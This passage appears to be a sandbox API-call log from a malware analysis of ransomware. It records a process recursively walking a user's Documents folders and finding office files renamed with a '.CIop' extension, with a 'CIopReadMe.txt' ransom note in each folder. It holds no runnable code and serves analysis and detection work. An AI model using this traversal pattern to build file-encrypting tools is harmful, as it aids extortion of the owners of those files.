lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0117.959] SetErrorMode (uMode=0x1) returned 0x1 [0117.959] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0117.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0117.959] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0117.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0117.959] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dbf8 [0117.959] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0117.959] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0117.959] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.959] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.959] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.959] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.959] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.959] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.959] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods.CIop", lpString2="..") returned 1 [0117.959] lstrcmpW (lpString1="uhL6PZJxrZwaAeTB.ods.CIop", lpString2=".") returned 1 [0117.959] lstrlenW (lpString=".CIop") returned 5 [0117.959] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.959] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0117.959] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0117.959] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0117.959] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0117.959] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*" [0117.959] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67dc78 [0117.960] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0117.960] lstrcpyW (in: lpString1=0x2dc7014, lpString2="WZsO9vKmM1PXfg" | out: lpString1="WZsO9vKmM1PXfg") returned="WZsO9vKmM1PXfg" [0117.960] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.960] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.960] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.960] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.960] FindNextFileW (in: hFindFile=0x67dc78, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0117.960] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2="..") returned 1 [0117.960] lstrcmpW (lpString1="us_5U4ni7qwInOUE", lpString2=".") returned 1 [0117.960] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg" [0117.960] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\" [0117.960] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\", lpString2="us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0117.960] SetErrorMode (uMode=0x1) returned 0x1 [0117.960] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0117.960] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0117.960] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0117.960] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0117.960] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dbf8 [0117.960] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0117.960] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0117.960] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.960] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.960] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.960] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.960] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.960] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.960] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0117.960] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0117.960] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0117.961] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0117.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*" [0117.961] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dfb8 [0117.961] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0117.961] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="us_5U4ni7qwInOUE" | out: lpString1="us_5U4ni7qwInOUE") returned="us_5U4ni7qwInOUE" [0117.961] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.961] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.961] FindNextFileW (in: hFindFile=0x67dfb8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0117.961] lstrcmpW (lpString1="-3ostnyb", lpString2="..") returned 1 [0117.961] lstrcmpW (lpString1="-3ostnyb", lpString2=".") returned 1 [0117.961] lstrcpyW (in: lpString1=0x2dc65d8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE" [0117.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\" [0117.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\", lpString2="-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0117.961] SetErrorMode (uMode=0x1) returned 0x1 [0117.961] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0117.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0117.961] lstrcpyW (in: lpString1=0x2dc4db0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0117.961] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0117.961] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e078 [0117.961] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0117.961] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0117.961] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.961] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.961] lstrcmpW (lpString1="-PZcxu.pps.CIop", lpString2="..") returned 1 [0117.961] lstrcmpW (lpString1="-PZcxu.pps.CIop", lpString2=".") returned 1 [0117.961] lstrlenW (lpString=".CIop") returned 5 [0117.961] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.961] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.961] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.961] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.961] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.962] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.962] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.962] lstrcmpW (lpString1="GAgDtV.ods.CIop", lpString2="..") returned 1 [0117.962] lstrcmpW (lpString1="GAgDtV.ods.CIop", lpString2=".") returned 1 [0117.962] lstrlenW (lpString=".CIop") returned 5 [0117.962] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.962] lstrcmpW (lpString1="yhA0tWH2QIX.odt.CIop", lpString2="..") returned 1 [0117.962] lstrcmpW (lpString1="yhA0tWH2QIX.odt.CIop", lpString2=".") returned 1 [0117.962] lstrlenW (lpString=".CIop") returned 5 [0117.962] FindNextFileW (in: hFindFile=0x67e078, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0117.962] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 1 [0117.962] FindClose (in: hFindFile=0x67e078 | out: hFindFile=0x67e078) returned 0 [0117.962] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0117.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*" [0117.962] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67db78 [0117.962] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="-3ostnyb" [0117.962] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="-3ostnyb" | out: lpString1="-3ostnyb") returned="-3ostnyb" [0117.962] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.962] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.962] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.962] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0117.962] lstrcmpW (lpString1="2pWzntbD", lpString2="..") returned 1 [0117.962] lstrcmpW (lpString1="2pWzntbD", lpString2=".") returned 1 [0117.962] lstrcpyW (in: lpString1=0x2dc49a0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb" [0117.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\" [0117.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\", lpString2="2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0117.962] SetErrorMode (uMode=0x1) returned 0x1 [0117.962] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0117.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0117.962] lstrcpyW (in: lpString1=0x2dc3178, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\" [0117.962] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0117.962] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dbf8 [0117.963] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0117.963] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0117.963] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.963] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.963] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx.CIop", lpString2="..") returned 1 [0117.963] lstrcmpW (lpString1="51gZ9cs6QyQwB.xlsx.CIop", lpString2=".") returned 1 [0117.963] lstrlenW (lpString=".CIop") returned 5 [0117.963] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.963] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0117.963] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0117.963] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0117.963] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.963] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx.CIop", lpString2="..") returned 1 [0117.963] lstrcmpW (lpString1="FMVnxBVv7u9Rp.docx.CIop", lpString2=".") returned 1 [0117.963] lstrlenW (lpString=".CIop") returned 5 [0117.963] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.963] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt.CIop", lpString2="..") returned 1 [0117.963] lstrcmpW (lpString1="ttYeA5K8BN5b.ppt.CIop", lpString2=".") returned 1 [0117.963] lstrlenW (lpString=".CIop") returned 5 [0117.963] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0 [0117.963] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0117.963] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0117.963] lstrcpyW (in: lpString1=0x2dc3588, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD" [0117.963] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*" [0117.963] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD\\*.*", lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 0x67dd78 [0117.963] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\-3ostnyb\\2pWzntbD") returned="2pWzntbD" [0117.963] lstrcpyW (in: lpString1=0x2dc1b6c, lpString2="2pWzntbD" | out: lpString1="2pWzntbD") returned="2pWzntbD" [0117.963] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.963] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0117.963] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc2708 | out: lpFindFileData=0x2dc2708) returned 1 [0117.963] FindNextFileW (in: hFindFile=0x67dd78, 